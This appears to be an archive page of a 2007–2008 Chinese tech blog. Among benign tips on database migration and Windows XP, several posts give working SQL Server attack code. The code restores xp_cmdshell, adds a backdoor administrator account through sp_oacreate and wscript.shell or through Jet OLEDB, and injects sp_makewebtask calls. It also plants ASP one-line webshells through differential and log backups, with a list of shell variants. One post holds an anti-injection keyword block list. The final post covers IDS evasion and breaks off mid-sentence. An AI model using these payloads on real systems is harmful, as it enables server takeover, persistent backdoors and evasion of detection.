存档

文章标签 ‘小技巧’

用telnet的方法导出、导入论坛mysql数据库

2008年10月10日 没有评论 52 views

用TELNET的方法可将现有的服务器上的数据库导出,然后再将此数据导入另一台服务器,用这个方法可以实现论坛在两个服务器的迁移; 或者将服务器上的现有论坛搬到本机,来进行增加功能及 HACK 的安装调试, 而不会影响服务器上的论坛的运作。
我已用这个方法将我的整个网站(有论坛、新闻发布、及其他个人的主页)的文件和数据库全部搬到本机,可以实现文件和数据库的备份,同时可以在本机进行多种功能、多操作系统的的测试。
2。有多种方法可以实现 mysql数据库的导出、导入,但我用PHPmyadmin没有成功,也许是数据库大于5MB的原因吧。没有进行详细分析。
3。运行telnet 程序连接本地机与远程机:
如果你用的是windows 系统:开始(Start)--〉运行(Run),键入telnet,你将看到:
telnet>
这是telnet提示符。它表明程序已运行并等待你录入一个命令。若要连接一台远程机,录入open,并附上远程机的地址及端口即可。例如:
open XXXX.com 23
提供用户名和密码
login: XXXXXX
Password:XXXXXX
我朋友所使用的Web Host服务器是Unix系统,要用SSH(Secure Shell)来连接,另一台使用的是SecureCRT3.3.
4.连接到主机后,备份现有的数据库:

键入指令 mysqldump -uUSERNAME -pPASSWORD databasename > /你的路径/dump.sql
这个过程大约30秒钟,取决于你的数据库的大小。
之后,检查一下/dump.sql文件是否存在。
5。传送dump.sql文件到新的服务器或本机:
可以用FTP的方式传送。不用详细讲了吧。
6。在新的服务器上复制VB论坛:
运行telnet 程序连接服务器(远程机)
键入指令 mysql -uUSERNAME -pPASSWORD newdbname < /你的路径/dump.sql
之后,可以用PHPmyadmin检查数据库导入的情况。
重新配置好 admin/config.php 文件,上传到服务器.
运行admin/index.php 进入管理员控制面板,--〉论坛选项 ,进行论坛设置:论坛URL,主页的URL等信息,然后“保存修改”。
OK!全搞定!

分类: 技术文章 标签: ,

恢复xp_cmdshell的N个方法

2008年10月9日 没有评论 57 views
方法1:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell'
然后按F5键命令执行完毕
三.常见情况恢复执行xp_cmdshell.
1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
技术}再次突破SA的方法
文章连接:http://www.bycnboy.com/article.asp?id=461
------------------------------------------------------------------------------------------------------------------------
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql语句
sp_dropextendedproc 'xp_cmdshell '

解密网页加密的两个方法

2008年5月19日 没有评论 79 views

1.来源pst

document.write = window.alert;
eval = window.alert;


把这两行加在加密代码前面,然后执行,弹出message后ctrl+c。

2.Author: zzzevazzz
在地址栏或按Ctrl+O,输入:

javascript:s=document.documentElement.outerHTML;document.write(”);document.body.innerText=s;


源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果

分类: 技术文章 标签:

通过设置p3p头来实现跨域访问cookie

2007年12月10日 没有评论 53 views

By:lcx

今天在w3网站上看到了一篇介绍p3p的文章(http://www.w3.org/TR/P3P/),利用这个可以实现跨域访问cookie,我也试验一下。

其实很简单:试验用了2个域名readlog.cn和diaor.com

首先在readlog.cn下放置一个文件setcookie.php 内容:
PHP代码

1. <?php
2. header('P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"');//p3p
3. setcookie("TestCookie","test",time()+3600,"/",".readlog.cn");//设置cookie
4. ?>

再放置一个readcookie.php 内容:
PHP代码

1. <?php
2. echo $_COOKIE["TestCookie"];
3. ?>

然后在diaor.com下放置setcookie.php ,内容:
JavaScript代码

1. <script src="http://www.readlog.cn/setcookie.php"></script>

然后访问http://www.diaor.com/setcookie.php 抓取数据包可以发现,在readlog.cn域下生成了一个cookie ,名称是TestCookie,值是test

下面访问http://www.readlog.cn/readcookie.php 来验证一下,可以发现,cookie确实设置成功了。

有兴趣可以去掉header('P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"');这句,试一下就会发现cookie能设置,但是在readlog.cn读不到这个cookie。

分类: 技术文章 标签:

公布我的防SQL注入的代码,可记录攻击者IP地址

2007年12月10日 没有评论 86 views

把下面代码加入到您的数据库连接文件中,可加到代码的最后部分,其中Server.MapPath("/aq/visited.txt") 中的地址您可以自己改。

'防注入系统
dim Zqs,Zerrc,Ziii,zurl
Zqs=request.servervariables("query_string")
zurl=Request.ServerVariables("URL")
dim Znothis(60)
Znothis(0)="net user"
Znothis(1)="@a"
Znothis(2)="/add"
Znothis(3)="exec%20master.dbo.xp_cmdshell"
Znothis(4)="net localgroup administrators"
Znothis(5)="select"
Znothis(6)="count"
Znothis(7)="asc"
Znothis(8)="char"
Znothis(9)="mid"
Znothis(10)="cscript.exe"
Znothis(11)="declare"
Znothis(12)="insert"
Znothis(13)="delete"
Znothis(14)="drop"
Znothis(15)="truncate"
Znothis(16)="wscript.shell"
Znothis(17)="%20"
Znothis(18)=" "
Znothis(19)="script"
Znothis(20)="system32"
Znothis(21)="CmdShell"
Znothis(22)="sysadmin"
Znothis(23)="serveradmin"
Znothis(24)="setupadmin"
Znothis(25)="securityadmin"
Znothis(26)="diskadmin"
Znothis(27)="bulkadmin"
Znothis(28)="exec master.dbo.sp_addlogin"
Znothis(29)="exec master.dbo.sp_password"
Znothis(30)="exec master.dbo.sp_addsrvrolemember"
Znothis(31)="create"
Znothis(32)="exec xp_reg"
Znothis(33)="backup"
Znothis(34)="net localgroup administrators"
Znothis(35)="Asc"
Znothis(36)="+dir+"
Znothis(37)="drop table"
Znothis(38)="exec master.dbo.sp_addextendedproc"
Znothis(39)="master.dbo.sysobjects"
Znothis(40)="master.dbo.xp_regwrite"
Znothis(41)="master.dbo.sysdatabases"
Znothis(42)="DECLARE"
Znothis(43)="EXEC sp_oacreate"
Znothis(44)="EXEC sp_oamethod"
Znothis(45)="xp_"
Znothis(46)="Sp_"
Znothis(47)="%2B"
Znothis(48)="Sp_OAGetErrorInfo"
Znothis(49)="Sp_OAGetProperty"
Znothis(50)="Sp_OAMethod"
Znothis(51)="Sp_OASetProperty"
Znothis(52)="Sp_OAStop"
Znothis(53)="Xp_regaddmultistring"
Znothis(54)="Xp_regdeletekey"
Znothis(55)="Xp_regdeletevalue"
Znothis(56)="Xp_regenumvalues"
Znothis(57)="Xp_regread"
Znothis(58)="Xp_regremovemultistring"
Znothis(59)="Xp_regwrite"
Znothis(60)="insert into"

Zerrc=False
for Ziii= 0 to ubound(Znothis)
if instr(Zqs,Znothis(Ziii))<>0 or instr(Zurl,Znothis(Ziii))<>0 Then
Zerrc=true
end if
next
if Zerrc Then

'记录攻击

Dim ValidEntry 
ValidEntry = True 
If not IsEmpty(Session("LogIn")) Then ValidEntry = False 
If ValidEntry Then 
Const ForAppending = 8 
Const Create = true 
Dim FSO 
DIM TS 
DIM MyFileName 
'Dim strLog 
Dim strTime,strip,strurll,strwords 

MyFileName = Server.MapPath("/aq/visited.txt") 
Set FSO = Server.CreateObject("Scripting.FileSystemObject") 
Set TS = FSO.OpenTextFile(MyFileName, ForAppending, Create) 

strip=Request.ServerVariables ("REMOTE_ADDR") & ""
if strip="" then
strip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") & "" 
end if 
'strurll=request.servervariables("http_referer")
strwords=request.servervariables("query_string")

strtime=now()

' Write current information to Log Text File. 
Ts.writeline "攻击者详细资料:" 
Ts.writeline "攻击者IP地址:"&strip 
Ts.writeline "攻击时间:"&strtime
Ts.writeline "攻击页面:"&zurl
Ts.writeline "攻击语句:"&strwords
Ts.writeline "----------------------------------------" 
TS.Writeline "" 
' Create a session varialbe to check next time for ValidEntry 
Session("LogIn") = "yes" 
Set TS = Nothing 
Set FSO = Nothing 
End If

Response.Write "<Script Language=JavaScript>alert('系统提示↓\n\n请不要输入非法字符["&Zqs&"]尝试注入!\n\n您的IP["&strip&"]将被本站禁止!\n\n如有疑问请联系管理员QQ:8307730);top.location.href='http://www.4shell.org/';</Script>"
Response.end 
end If

分类: 技术文章 标签:

绝对实用 XP系统中隐藏的10个秘密

2007年12月10日 没有评论 58 views

WindowsXP已经出来很多年了,不过许多小功能未必人人都知道,下面我们就来看看XP系统中隐藏的10个秘密吧!

  1.systeminfo:让XP列出更多有用信息

  WindowsXP总是在炫耀它可以给稳定工作多么长的时间!要想详细地了解这一信息,你可以接入Windows的“开始菜单”,再开启“附件菜单”中的“命令提示符”,然后在其中输入“systeminfo”这个命令。电脑就会给你显示出许多有用信息,其中包括了这个系统的初次安装时间,以及本次持续运行的时间。假如你想要保留这些信息,你可以输入“systeminfo>info.txt”,这将会创建一个名为“info.txt”文本文件,你可以稍后用Windows的记事本将其打开,进行查看。(仅限于WindowsXP专业版本)

  2.gpedit.msc:设置直接删除文件

  你可以将WindowsXP操作系统设置为直接删除文件,而不用先将这些文件转移到回收站当中。进入开始菜单,选择“运行……”,输入“gpedit.msc”;在弹出的对话框中,选择用户设置,管理模板,Windows组件,WindowsExplorer,找到“不要将删除的文件移送到回收站”的选项。开启这个选项。

  编辑认为在回收站的属性里选择更快一些。

  通过调整gpedit对话框中的相关设置,你可以对系统的运行方式和选项做出很多调整,但是请一定小心——你所作出的某些改变可能会系统运行出现问题,或造成系统的不稳定。(仅限于WindowsXP专业版本)

  3.rundll32.exe:用鼠标锁定计算机

  你可以轻轻点击两下鼠标,就锁定自己的WindowsXP系统。请先在桌面上点击鼠标右键,创建一个新的快捷方式,然后再填写项目位置的时候,输入“rundll32.exeuser32.dll,LockWorkStation”。

  然后再给这个快捷方式取一个你喜欢的名字,比如“锁定计算机”。就是这么简单——现在,你只需要用鼠标双击这个快捷方式,你的电脑就会马上被锁定。如果你觉得这还不够简单的话,同时按住键盘上的“Windows键(有XP图标的那个)”和“L”键,将会有同样的效果。

  4.sysoc.inf:把隐藏的文件揪出来

  WindowsXP隐藏了一些你可能想要删除或卸载的系统软件,诸如WindowsMessenger,但是你可以让这些软件重新显示出来。使用Windows自带的记事本或写字板程序,编辑文本文件“/windows/inf/sysoc.inf”,搜索并删除掉关键词“hide”。然后你再进入“控制面板”的“添加/删除程序”,选择“添加或删除Windows组件”。你可以发现所有的系统软件都被显示出来了,现在就可以卸载它们了。

  5./?:命令行的诱惑

  对于那些擅长于操作DOS批处理命令的用户来说,WindowsXP也为他们提供了许多有趣的新命令。其中包括用来创建和监视系统事件的“eventcreate”和“eventtriggers”命令,用来监控各种子系统的运行状态的“typeperf'”,以及用来操作计划任务的“schtasks”。

  和以前一样,输入某个命令,并紧跟其后加上“/?”的后缀,将会为你提供一系列与这个命令相关的选项。

  6.ipv6install:XP也能玩IPv6

  WindowsXP能够支持IPv6——下一代互联网的IP协议。但是非常不幸的是,这一功能超出了你的网络提供商(ISP)所能支持的服务,所以你只能在自己的局域网中实验这一功能。请在“运行……”中输入命令“ipv6install'”(请不要担心,这个命令不会破坏你现有的网络设定),然后再在命令提示符中输入“ipv6/?”,你可以获得更多的相关信息。假如你根本不知道IPv6是什么的话,那么就请忽略掉这一段话。

  7.tskill:试试用命令来终止任务

  你可以最终通过在命令提示符中输入命令“taskkill/pid”和任务序号,或者仅仅输入“tskill”以及进程的序号,来终止掉某个任务。想要找出所有正在运行中的任务及其序号?请输入“tasklist”,这个命令也可以帮助你了解到更多当前系统运行状态的信息。

  8.快慢自选:浏览ZIP压缩包

  WindowsXP会像对待普通文件夹一样对待ZIP压缩文件包,这一功能在运行速度较快的机器上非常的方便,但是在运行速度较慢的机器上却会拖累系统的整体运行效率。如果你电脑的配置并不是很高,你可以通过在命令提示符中输入命令“regsvr32/uzipfldr.dll”来关闭这一功能,让WindowsXP把压缩文件包丢在一边。假如你稍候改变了自己的主意,你可以通过输入“regsvr32zipfldr.dll”来恢复这一功能。

  9.ClearType:保护你的心灵之窗

  WindowsXP系统支持“ClearType”——微软公司的反锯齿字体显示技术——但是在默认设置下,这一显示效果并没有被打开。该项功能非常值得尝试,尤其是在你使用电脑多年,糟糕的电脑屏幕已经使你的双眼变得无比疲惫,视力开始急剧下降的时候。为了开启这个效果,请用鼠标右键点击电脑桌面,在弹出菜单中选择“属性”,“外观”,“效果”,从第二个下拉菜单中选中“ClearType”选项,并选择开启。这样就可以期望在笔记本电脑上获得最佳的显示效果。假如你希望在WindowsXP的欢迎登录画面中也是用到“ClearType”,请将系统注册表中的“HKEY_USERS/.DEFAULT/ControlPanel/Desktop/FontSmoothingType”选项的值设置为2.

  10.远程协作:不再受限内网

  你可以通过WindowsXP的远程协作功能来帮助某个正在家庭局域网上使用网络地址转换(networkaddresstranslation,NAT)的朋友,虽然这不是自动完成的。让你的朋友给你发送一封远程协作邀请,然后编辑这个文本。在RCTICKET属性下,你可以看到一个NATIP地址,可能是“192.168.1.10”之类的形式。用你朋友真实的IP地址来替换这一内网地址——他们可以在www.whatismyip.com网站上查询到自己的真实IP地址——然后让它们确认一下自己防火墙上的3389端口是开启的,随后你就可以直接进入那台有问题的电脑了。
 

分类: 技术文章 标签:

0.01秒关闭网页

2007年11月18日 没有评论 62 views

关闭网页,只需要0.01秒
一行代码就可以做到:

<a href="javascript:window.opener=null;window.close()">快速关闭</a>


分类: 技术文章 标签:

SA下不用恢复xp_cmdshell和xplog70.dll也执行命令

2007年11月18日 没有评论 871 views

sa下删除xp_cmdshell和xplog70.dll时候的一种办法,不算新的了,
也被一些人不断的再次提出来,
为了方便自己记忆再写出来,
在这种情况下,要执行命令,条件是要有xp_regwrite。

首先开启沙盘模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')

分类: 技术文章 标签: ,

sp_makewebtask在sa中的妙用

2007年11月18日 没有评论 106 views

用sp_makewebtask直接在web目录里写入一句话马:
条件是要sa权限和站点的web路径:

http://127.0.0.1/xxx.asp?id=123';exec%20sp_makewebtask%20'd:\www\xxx\xxx.asp','%20select%20''<%25execute(request("cn"))%25>''%20';--


select中的双单引号起着重定义的作用

分类: 技术文章 标签:

一步就可以防止网络剪刀网络执法官等的方法

2007年8月7日 没有评论 59 views

在c盘system32目录下建个名为packet.dll的目录,设置只读权限

分类: 技术文章 标签:

差异备份拿WEBSHELL

2007年6月18日 没有评论 45 views

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入

的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!

差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--

2.创建表并插入数据
create table [dbo].[dtest] ([cmd] [image]);--
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>

如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to

disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name

(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH

DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

声明:方法不是我想的,我只是写工具,默认得到shell是
<%execute(request("a"))%>
===============================================================

我发现上面代码,有时会无效,而直接用

backup database 库名 to disk = 'c:\ddd.bak'

create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!

网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:

';alter database null set RECOVERY FULL--

';create table cmd (a image)--

';backup log null to disk = 'f:\cmd' with init--

';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--

';backup log null to disk = '备份路径'--

PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的

说到一句话马,还可以有这么几种写法:

a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%execute request("a")%><%
d).<script. language=VBScript. runat=server>execute request("a")</script>
e).<%25Execute(request("a"))%25>
 

分类: 技术文章 标签:

入侵检测系统逃避技术和对策的介绍

2007年5月21日 没有评论 53 views

来源:www.dark2s.cn
在网络蓬勃发展的几天,网络安全问题日益突出。网络上的黑、白两道在网络安全的各个领域都展开了激烈的竞争。黑帽社团不断推出躲避或者越过网络入侵检测系统(Network Intrusion Detection System,NIDS)的新技术,而NIDS的开发者不断地在自己的产品中加入对这些技术的检测。但是,由于NIDS本身的局限性,胜利的天平正在向黑帽子倾斜。本文将讨论一些基本的IDS躲避技术,以及如何识破这些技术。  
 1.字符串匹配的弱点
  针对基本字符串匹配弱点的IDS躲避技术是最早被提出和实现的。一些基于特征码的入侵检测设备几乎完全依赖于字符串匹配算法,而对于一个编写很差的特征码,攻击者可以轻松地破坏对其的字符串匹配。虽然不是所有的入侵检测系统都是纯粹基于特征码检测的,但是绝大多数对字符串匹配算法有很大的依赖。这里,我们将使用开放源码工具snort的特征码来进行讨论。
  在UNIX系统中,/etc/passwd是一个重要的文件,它包含用户名、组成员关系和为用户分配的shell等信息。我们就从监视对/etc/passwd文件的访问开始,下面是用于检测的snort检测规则:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-MISC /etc/passwd"; flags: A+; content:"/etc/passwd"; nocase; classtype:attempted-recon; sid:1122;rev:1)
  snort使用字符串匹配算法对包含特征码(/etc/passwd)的HTTP请求进行检测。但是,这个规则的特征码过于简单了,攻击者修改攻击字符串可以很轻松地逃过检测(我们暂时不考虑攻击请求是通过HTTP发出的)。例如,把攻击请求由GET/etc/passwd改为GET /etc//\// passwd,或者GET /etc/rc.d/.././\passwd,修改方式简直不计其数。这是最基本的娶亲检测逃避技术,对这种技术的检测也相对容易一些,只要在编写特征码时能够仔细考虑一下攻击可能出现的变体。目前大多数流行入侵检测系统都有非常强大的字符串匹配能力,足以检测此类攻击的大多数变体。不过,仍然有些编写不太好的特征码可以给攻击者以可乘之机。
  攻击者还可以在此基础上再加以变化,几乎不费吹灰之力就可以加大入侵检测系统的防御难度。例如在telnet之类的交互会话中,攻击者企图读取/etc/passwd文件。通常,入侵检测系统中存在很多特征码一些误用操作和后门等,但是这些特征码一般只包含黑客工具名、文件名和程序名。在获得/etc/passwd文件的内容时,我们不直接输入cat/etc/passwd等命令行,而是通过一个命令解释器(例如:perl)来实现我们的目的:

badguy@host$ perl -e‘$foo=pack(“C11”,47,101,116,99,47,112,97,115,115,119,100);@bam=`/bin/cat/ $foo`; print”@bam\n”;’
  从这个命令中,入侵检测系统根本就不会重组出/etc/passwd这些字符。显然,防御这种攻击就很困难了,因为这要求入侵检测系统必须能够理解这种解释器如何收到的命令,这恐怕不太现实。当然,入侵检测系统也可以对使用解释器的可疑行为进行报警,但是它很难对攻击行为进行精确的监视。
  通过把字符串处理技术和字符替换技术结合到一起,我们可疑实现更复杂的字符串伪装。对于WEB请求,我们不必使用命令解释器,在我们的请求中使用16进制的URL即可,以下的请求可以被目标WEB服务器解释为/etc/passwd:

GET %65%74%63/%70%61%73%73%77%64
  或者

GET %65%74%63/%70a%73%73%77d  为了捕获这一个字符串的所有变体,你可能需要1000个以上的特征码进行字符串匹配,这还没有考虑UNICODE。UNICODE提供了另一种字符表达方式。有关UNICODE的IDS欺骗技术细节,本文将不多做讨论。如果想了解更多细节请参考SecurityFocus的IDS Evasion with Unicode。除此之外,RainForestPuppy在他的HTTP扫描工具Whisker中采用了另外一些IDS欺骗技术:   -I 1 IDS-evasive mode 1 (URL编码)
  -I 2 IDS-evasive mode 2 (/./目录插入)
  -I 3 IDS-evasive mode 3 (过早结束URL)
  -I 4 IDS-evasive mode 4 (长URL)
  -I 5 IDS-evasive mode 5 (伪造参数)
  -I 6 IDS-evasive mode 6 (TAB分割) (not NT/IIS)
  -I 7 IDS-evasive mode 7 (大小写敏感)
  -I 8 IDS-evasive mode 8 (Windows分割符)
  -I 9 IDS-evasive mode 9 (会话拼接) (slow)
  -I 0 IDS-evasive mode 0 (NULL方法)
  如果想了解上面这些方法的技术细节,可以参考A Look At Whisker’s Anti-IDS Tactics。需要特别说明的是,rfp把whisker采用的anti-ids技术单独放到了libwhisker(使用perl编写的)库中,为其它的程序采用这些技术提供了很大的便利。另外,nessus和babelweb等扫描工具都有自己的应用层入侵检测躲避技术。
  现在,IDS开发人员对各种网络协议有了更深入的理解,并且入侵检测设备在对数据包的负载进行字符串匹配之前会进行必要的协议分析,因此现在的IDS已经能够很好地处理上述的欺骗技术了。但是多余的字符转换又提高了入侵检测系统的负载,有时是得不偿失。为了减小这个跗面影响,开发人员可以使入侵检测系统只在特定的端口进行字符转换。
  2.多变shell代码(polymorphic shell code)
  多变shell代码(polymorphic shell code)技术由K2开发的,设计思想来源于病毒逃避(virus evasion)技术。使用这种技术重新构造的shell代码更为危险,入侵检测设备非常难以检测到。这种技术只用于缓冲区溢出攻击,对付基于特征码的检测系统非常有效,而对于智能化的或者基于协议分析的检测系统的效果要差很多。为了便于讨论,我们以SSH CRC32缓冲区为例。我们先看以下snort检测规则:

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow /bin/sh"; flags:A+; content:"/bin/sh"; reference:bugtraq,2347; reference:cve,CVE-2001-0144; classtype:shellcode-detect; sid:1324; rev:1;)alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow NOOP"; flags:A+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90)
  上面的第一条规则简单地检查从外部到$HOME_NET,目标端口是22的数据包,搜索里面是否包含字符串/bin/sh。第二条规则是检查是否 包含x86空操作字符(0x90)。多变shell代码(polymorphic shell code)使用很多方法逃避字符串匹配系统的检测。首先(以x86架构为例),使用其它的字符代替0x90执行无操作(no-op)指令。对于X86架构,有55种替代方式,其它的要少一些。这些替代方式以一种伪随机的方式结合到一块,建立缓冲区溢出shell代码包含无操作(no-op)指令的部分。想了解无操作(no-op)指令的所有替代字符可以参考http: // cansecwest.com/noplist-v1-1.txt。除此之外,shell代码本身也采用XOR机制编码。通过这种方式建立的缓冲区溢出 shell代码被重组后不会包含以上的特征码,从而能够逃过字符串匹配检测。
  多变shell代码检测对基于特征码检测的IDS是一个很大的挑战。Next Generation Security Technologie公司的技术白皮书Polymorphic Shellcodes vs. Application IDSs中提出了一些检测多变shell代码的设想。通过搜索无操作(no-op)字符的一个特定长度的正则表达式,可以实现对多变 shell代码的精确检测。最近,Dragos Ruiu发布了一个用于检测多变shell代码的snort预处理插件spp_fnord,这个插件采用了和上面相似的检测技术。这个预处理插件有端口和长度两个配置选项。例如,如果某个人在配置时设置了80、21、23和53等端口,它就只对这几个端口的数据流量进行多变shell代码的检测,而不会

分类: 技术文章 标签: ,